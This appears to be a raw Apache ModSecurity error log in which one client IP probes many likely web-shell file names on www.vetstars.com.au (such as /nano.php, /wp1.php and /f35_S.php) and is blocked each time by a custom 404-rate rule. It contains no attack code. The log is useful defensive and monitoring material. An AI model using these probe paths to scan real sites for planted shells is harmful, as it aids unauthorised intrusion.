[Fri Apr 10 21:46:26.053067 2026] [:error] [pid 13189:tid 13216] [client 20.251.36.179:36454] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/9.php"] [unique_id "adj_MpAxiJKPums3eBDGfAAAAFg"]
[Fri Apr 10 21:46:26.589514 2026] [:error] [pid 62710:tid 62726] [client 20.251.36.179:39559] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/9.php"] [unique_id "adj_MuME7qrf5xEWWJscFAAAAg0"]
[Fri Apr 10 21:46:27.134849 2026] [:error] [pid 62651:tid 62656] [client 20.251.36.179:19397] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/9.php"] [unique_id "adj_MzbAH0le57SIaqwmUwAAAcM"]
[Fri Apr 10 21:46:27.719739 2026] [:error] [pid 62819:tid 62834] [client 20.251.36.179:18450] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/10.php"] [unique_id "adj_M_U20EyPf7Nlsldr3QAAAow"]
[Fri Apr 10 21:46:28.290284 2026] [:error] [pid 62769:tid 62779] [client 20.251.36.179:19441] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/10.php"] [unique_id "adj_NMWsSnfLoB8ifjBi_wAAAkg"]
[Fri Apr 10 21:46:28.824117 2026] [:error] [pid 62819:tid 62823] [client 20.251.36.179:39589] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/10.php"] [unique_id "adj_NPU20EyPf7Nlsldr3wAAAoE"]
[Fri Apr 10 21:46:29.390790 2026] [:error] [pid 62710:tid 62731] [client 20.251.36.179:18477] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/10.php"] [unique_id "adj_NeME7qrf5xEWWJscGwAAAhI"]
[Fri Apr 10 21:46:29.943720 2026] [:error] [pid 62769:tid 62776] [client 20.251.36.179:2216] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.mopj.php"] [unique_id "adj_NcWsSnfLoB8ifjBjBAAAAkU"]
[Fri Apr 10 21:46:30.468510 2026] [:error] [pid 62769:tid 62791] [client 20.251.36.179:19410] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.mopj.php"] [unique_id "adj_NsWsSnfLoB8ifjBjBwAAAlQ"]
[Fri Apr 10 21:46:31.058599 2026] [:error] [pid 62769:tid 62783] [client 20.251.36.179:61333] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.mopj.php"] [unique_id "adj_N8WsSnfLoB8ifjBjDgAAAkw"]
[Fri Apr 10 21:46:31.654523 2026] [:error] [pid 13189:tid 13192] [client 20.251.36.179:2147] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.mopj.php"] [unique_id "adj_N5AxiJKPums3eBDGsQAAAEA"]
[Fri Apr 10 21:46:32.197507 2026] [:error] [pid 13101:tid 13137] [client 20.251.36.179:2221] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/100.php"] [unique_id "adj_ON8Ldw85818pj2rloQAAAIQ"]
[Fri Apr 10 21:46:32.734071 2026] [:error] [pid 13189:tid 13196] [client 20.251.36.179:53855] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/100.php"] [unique_id "adj_OJAxiJKPums3eBDGuAAAAEQ"]
[Fri Apr 10 21:46:33.262138 2026] [:error] [pid 62710:tid 62732] [client 20.251.36.179:41699] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/100.php"] [unique_id "adj_OeME7qrf5xEWWJscOwAAAhM"]
[Fri Apr 10 21:46:33.891985 2026] [:error] [pid 62819:tid 62835] [client 20.251.36.179:19400] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/100.php"] [unique_id "adj_OfU20EyPf7Nlsldr6QAAAo0"]
[Fri Apr 10 21:46:34.437061 2026] [:error] [pid 13100:tid 13107] [client 20.251.36.179:2118] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nano.php"] [unique_id "adj_Olzg-ZkZ0InWIP3BfgAAAQI"]
[Fri Apr 10 21:46:34.994461 2026] [:error] [pid 62819:tid 62825] [client 20.251.36.179:39556] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nano.php"] [unique_id "adj_OvU20EyPf7Nlsldr7gAAAoM"]
[Fri Apr 10 21:46:35.781496 2026] [:error] [pid 62884:tid 62906] [client 20.251.36.179:19422] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nano.php"] [unique_id "adj_O-UCK1xrhnnmpo2F6AAAAs8"]
[Fri Apr 10 21:46:36.584817 2026] [:error] [pid 13101:tid 13151] [client 20.251.36.179:53861] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nano.php"] [unique_id "adj_PN8Ldw85818pj2rlrAAAAJI"]
[Fri Apr 10 21:46:37.420021 2026] [:error] [pid 62769:tid 62784] [client 20.251.36.179:39580] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f35_S.php"] [unique_id "adj_PcWsSnfLoB8ifjBjUAAAAk0"]
[Fri Apr 10 21:46:38.246689 2026] [:error] [pid 13189:tid 13208] [client 20.251.36.179:61353] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f35_S.php"] [unique_id "adj_PpAxiJKPums3eBDGyQAAAFA"]
[Fri Apr 10 21:46:46.169203 2026] [:error] [pid 62769:tid 62785] [client 20.251.36.179:2621] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f35_S.php"] [unique_id "adj_RsWsSnfLoB8ifjBjagAAAk4"]
[Fri Apr 10 21:46:47.395415 2026] [:error] [pid 63062:tid 63088] [client 20.251.36.179:2117] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f35_S.php"] [unique_id "adj_R52HtsmV85NqkMfzGQAAA5g"]
[Fri Apr 10 21:46:48.766766 2026] [:error] [pid 13189:tid 13194] [client 20.251.36.179:18443] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2026w.php"] [unique_id "adj_SJAxiJKPums3eBDG8AAAAEI"]
[Fri Apr 10 21:46:49.941433 2026] [:error] [pid 13101:tid 13137] [client 20.251.36.179:2163] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2026w.php"] [unique_id "adj_Sd8Ldw85818pj2rltgAAAIQ"]
[Fri Apr 10 21:46:50.616168 2026] [:error] [pid 13101:tid 13135] [client 20.251.36.179:19409] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2026w.php"] [unique_id "adj_St8Ldw85818pj2rluwAAAII"]
[Fri Apr 10 21:46:51.263760 2026] [:error] [pid 13189:tid 13207] [client 20.251.36.179:19942] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2026w.php"] [unique_id "adj_S5AxiJKPums3eBDHAQAAAE8"]
[Fri Apr 10 21:46:51.877055 2026] [:error] [pid 62884:tid 62915] [client 20.251.36.179:53840] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/111.php"] [unique_id "adj_S-UCK1xrhnnmpo2F7wAAAtg"]
[Fri Apr 10 21:46:52.464957 2026] [:error] [pid 62710:tid 62731] [client 20.251.36.179:2178] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/111.php"] [unique_id "adj_TOME7qrf5xEWWJscUAAAAhI"]
[Fri Apr 10 21:46:53.009171 2026] [:error] [pid 62769:tid 62778] [client 20.251.36.179:41671] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/111.php"] [unique_id "adj_TcWsSnfLoB8ifjBjewAAAkc"]
[Fri Apr 10 21:46:53.568071 2026] [:error] [pid 62769:tid 62776] [client 20.251.36.179:2156] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/111.php"] [unique_id "adj_TcWsSnfLoB8ifjBjfgAAAkU"]
[Fri Apr 10 21:46:54.171530 2026] [:error] [pid 62769:tid 62794] [client 20.251.36.179:19411] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp1.php"] [unique_id "adj_TsWsSnfLoB8ifjBjgwAAAlc"]
[Fri Apr 10 21:46:54.812595 2026] [:error] [pid 62884:tid 62900] [client 20.251.36.179:41705] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp1.php"] [unique_id "adj_TuUCK1xrhnnmpo2F9AAAAsk"]
[Fri Apr 10 21:46:55.403609 2026] [:error] [pid 63134:tid 63142] [client 20.251.36.179:36416] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp1.php"] [unique_id "adj_T9FALqPDwWi6eJKotAAAA8U"]
[Fri Apr 10 21:46:55.932955 2026] [:error] [pid 63134:tid 63158] [client 20.251.36.179:53868] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp1.php"] [unique_id "adj_T9FALqPDwWi6eJKotwAAA9U"]
[Fri Apr 10 21:46:56.875346 2026] [:error] [pid 13189:tid 13216] [client 20.251.36.179:22919] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aligk.php"] [unique_id "adj_UJAxiJKPums3eBDHGQAAAFg"]
[Fri Apr 10 21:46:57.418175 2026] [:error] [pid 13101:tid 13152] [client 20.251.36.179:41690] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aligk.php"] [unique_id "adj_Ud8Ldw85818pj2rlzQAAAJM"]
[Fri Apr 10 21:46:58.200570 2026] [:error] [pid 63062:tid 63074] [client 20.251.36.179:36436] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aligk.php"] [unique_id "adj_Up2HtsmV85NqkMfzIAAAA4o"]
[Fri Apr 10 21:46:58.784412 2026] [:error] [pid 63062:tid 63070] [client 20.251.36.179:53886] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aligk.php"] [unique_id "adj_Up2HtsmV85NqkMfzIgAAA4Y"]
[Fri Apr 10 21:46:59.367821 2026] [:error] [pid 62769:tid 62777] [client 20.251.36.179:41665] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byrgo.php"] [unique_id "adj_U8WsSnfLoB8ifjBjmAAAAkY"]
[Fri Apr 10 21:47:00.514192 2026] [:error] [pid 63062:tid 63079] [client 20.251.36.179:53853] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byrgo.php"] [unique_id "adj_VJ2HtsmV85NqkMfzJAAAA48"]
[Fri Apr 10 21:47:02.116661 2026] [:error] [pid 62769:tid 62784] [client 20.251.36.179:2131] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byrgo.php"] [unique_id "adj_VsWsSnfLoB8ifjBjqgAAAk0"]
[Fri Apr 10 21:47:03.309102 2026] [:error] [pid 63062:tid 63067] [client 20.251.36.179:39554] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byrgo.php"] [unique_id "adj_V52HtsmV85NqkMfzJwAAA4M"]
[Fri Apr 10 21:47:04.563855 2026] [:error] [pid 13189:tid 13196] [client 20.251.36.179:53884] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xwpg.php"] [unique_id "adj_WJAxiJKPums3eBDHNQAAAEQ"]
[Fri Apr 10 21:47:07.867654 2026] [:error] [pid 62769:tid 62790] [client 20.251.36.179:20928] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xwpg.php"] [unique_id "adj_W8WsSnfLoB8ifjBjtAAAAlM"]
[Fri Apr 10 21:48:55.205905 2026] [:error] [pid 13101:tid 13141] [client 20.251.36.179:20971] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sf.php"] [unique_id "adj_x98Ldw85818pj2rmggAAAIg"]
[Fri Apr 10 21:48:55.835781 2026] [:error] [pid 62710:tid 62721] [client 20.251.36.179:18463] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sf.php"] [unique_id "adj_x-ME7qrf5xEWWJsdAQAAAgg"]
[Fri Apr 10 21:48:56.456373 2026] [:error] [pid 62819:tid 62823] [client 20.251.36.179:53881] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sf.php"] [unique_id "adj_yPU20EyPf7NlsldsSAAAAoE"]
[Fri Apr 10 21:48:57.008384 2026] [:error] [pid 62769:tid 62792] [client 20.251.36.179:39572] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sf.php"] [unique_id "adj_ycWsSnfLoB8ifjBkzgAAAlU"]
[Fri Apr 10 21:48:57.643105 2026] [:error] [pid 13189:tid 13194] [client 20.251.36.179:39604] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no1.php"] [unique_id "adj_yZAxiJKPums3eBDIBwAAAEI"]
[Fri Apr 10 21:48:58.191285 2026] [:error] [pid 13189:tid 13207] [client 20.251.36.179:19449] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no1.php"] [unique_id "adj_ypAxiJKPums3eBDICQAAAE8"]
[Fri Apr 10 21:48:58.873699 2026] [:error] [pid 13189:tid 13192] [client 20.251.36.179:61435] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no1.php"] [unique_id "adj_ypAxiJKPums3eBDIDgAAAEA"]
[Fri Apr 10 21:48:59.449440 2026] [:error] [pid 13189:tid 13214] [client 20.251.36.179:41697] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no1.php"] [unique_id "adj_y5AxiJKPums3eBDIEgAAAFY"]
[Fri Apr 10 21:49:00.256951 2026] [:error] [pid 13101:tid 13146] [client 20.251.36.179:53830] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/w2025.php"] [unique_id "adj_zN8Ldw85818pj2rmiQAAAI0"]
[Fri Apr 10 21:49:00.897985 2026] [:error] [pid 13189:tid 13206] [client 20.251.36.179:2184] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/w2025.php"] [unique_id "adj_zJAxiJKPums3eBDIFQAAAE4"]
[Fri Apr 10 21:49:02.041012 2026] [:error] [pid 63062:tid 63074] [client 20.251.36.179:39566] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/w2025.php"] [unique_id "adj_zp2HtsmV85NqkMfzmgAAA4o"]
